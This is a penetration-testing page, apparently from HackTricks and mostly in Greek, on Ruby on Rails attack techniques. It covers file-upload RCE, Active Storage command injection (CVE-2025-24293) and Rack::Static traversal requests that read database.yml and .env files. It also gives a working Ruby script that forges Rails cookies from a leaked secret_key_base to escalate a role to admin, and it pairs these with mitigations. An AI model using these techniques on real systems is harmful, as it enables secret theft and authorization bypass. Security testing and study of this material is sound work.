101 lines
7.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Ruby Tricks
{{#include ../../banners/hacktricks-training.md}}
## File upload to RCE
Όπως εξηγείται στο [this article](https://www.offsec.com/blog/cve-2024-46986/), η μεταφόρτωση ενός `.rb` αρχείου σε ευαίσθητους καταλόγους όπως `config/initializers/` μπορεί να οδηγήσει σε remote code execution (RCE) σε εφαρμογές Ruby on Rails.
Συμβουλές:
- Άλλες τοποθεσίες boot/eager-load που εκτελούνται κατά την εκκίνηση της εφαρμογής είναι επίσης επικίνδυνες αν είναι εγγράψιμες (π.χ., `config/initializers/` είναι το κλασικό παράδειγμα). Αν βρείτε μια αυθαίρετη μεταφόρτωση αρχείου που καταλήγει οπουδήποτε κάτω από το `config/` και αργότερα αξιολογείται/required, μπορεί να αποκτήσετε RCE κατά την εκκίνηση.
- Αναζητήστε dev/staging builds που αντιγράφουν user-controlled αρχεία μέσα στο container image όπου το Rails θα τα φορτώσει κατά την εκκίνηση.
## Active Storage image transformation → command execution (CVE-2025-24293)
Όταν μια εφαρμογή χρησιμοποιεί Active Storage με `image_processing` + `mini_magick`, και περνά μη αξιόπιστες παραμέτρους σε μεθόδους μετατροπής εικόνας, εκδόσεις του Rails πριν από 7.1.5.2 / 7.2.2.2 / 8.0.2.1 ενδέχεται να επιτρέπουν command injection επειδή ορισμένες μεθόδοι μετατροπής επιτράπηκαν κατά λάθος από προεπιλογή.
- Ένα ευάλωτο μοτίβο μοιάζει με:
```erb
<%= image_tag blob.variant(params[:t] => params[:v]) %>
```
όπου `params[:t]` και/ή `params[:v]` ελέγχονται από τον attacker.
- Τι να δοκιμάσετε κατά τις δοκιμές
- Εντοπίστε endpoints που δέχονται variant/processing επιλογές, ονόματα μετατροπών ή αυθαίρετα ImageMagick arguments.
- Fuzzάρετε τα `params[:t]` και `params[:v]` για ύποπτα σφάλματα ή side-effects εκτέλεσης. Αν μπορείτε να επηρεάσετε το όνομα της μεθόδου ή να περάσετε raw arguments που φτάνουν στο MiniMagick, μπορεί να πετύχετε code exec στον host που επεξεργάζεται τις εικόνες.
- Αν έχετε μόνο πρόσβαση ανάγνωσης στα παραγόμενα variants, επιχειρήστε blind exfiltration μέσω crafted ImageMagick operations.
- Αντιμετώπιση/ανιχνεύσεις
- Αν δείτε Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 με Active Storage + `image_processing` + `mini_magick` και user-controlled μετατροπές, θεωρήστε το εκμεταλλεύσιμο. Συνιστάται αναβάθμιση και επιβολή αυστηρών allowlists για μεθόδους/παραμέτρους και ενίσχυση της πολιτικής ImageMagick.
## Rack::Static LFI / path traversal (CVE-2025-27610)
Αν το target stack χρησιμοποιεί Rack middleware απευθείας ή μέσω frameworks, εκδόσεις του `rack` πριν από 2.2.13, 3.0.14 και 3.1.12 επιτρέπουν Local File Inclusion μέσω `Rack::Static` όταν το `:root` δεν έχει οριστεί ή είναι λανθασμένα διαμορφωμένο. Κωδικοποιημένο traversal στο `PATH_INFO` μπορεί να αποκαλύψει αρχεία κάτω από το process working directory ή ένα απροσδόκητο root.
- Αναζητήστε εφαρμογές που mountάρουν `Rack::Static` στο `config.ru` ή στις middleware stacks. Δοκιμάστε κωδικοποιημένα traversals ενάντια σε static μονοπάτια, για παράδειγμα:
```text
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
```
Προσαρμόστε το prefix για να ταιριάξει με τα ρυθμισμένα `urls:`. Αν η εφαρμογή απαντήσει με περιεχόμενο αρχείου, πιθανότατα έχετε LFI σε οτιδήποτε κάτω από το επιλυμένο `:root`.
- Mitigation: αναβαθμίστε το Rack· βεβαιωθείτε ότι το `:root` δείχνει μόνο σε έναν κατάλογο δημόσιων αρχείων και έχει οριστεί ρητά.
## Forging/decrypting Rails cookies when `secret_key_base` is leaked
Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (π.χ., σε repo, logs, ή misconfigured credentials), μπορείτε συνήθως να decrypt, modify και re-encrypt τα cookies. Αυτό συχνά οδηγεί σε authz bypass αν η εφαρμογή αποθηκεύει roles, user IDs, ή feature flags στα cookies.
Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
```ruby
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'
secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])
salt = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"
# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
```
Σημειώσεις:
- Παλαιότερες εφαρμογές ενδέχεται να χρησιμοποιούν AES-256-CBC και salts `encrypted cookie` / `signed encrypted cookie`, ή JSON/Marshal serializers. Προσαρμόστε ανάλογα τα salts, τον cipher και τον serializer.
- Σε περίπτωση παραβίασης ή κατά την αξιολόγηση, αλλάξτε το `secret_key_base` για να ακυρώσετε όλα τα υπάρχοντα cookies.
## Δείτε επίσης (ευπάθειες ειδικές για Ruby/Rails)
- Ruby deserialization and class pollution:
{{#ref}}
../../pentesting-web/deserialization/README.md
{{#endref}}
{{#ref}}
../../pentesting-web/deserialization/ruby-class-pollution.md
{{#endref}}
{{#ref}}
../../pentesting-web/deserialization/ruby-_json-pollution.md
{{#endref}}
- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
{{#ref}}
../../pentesting-web/ssti-server-side-template-injection/README.md
{{#endref}}
## Αναφορές
- Ανακοίνωση ασφάλειας Rails: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- Ειδοποίηση GitHub: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
{{#include ../../banners/hacktricks-training.md}}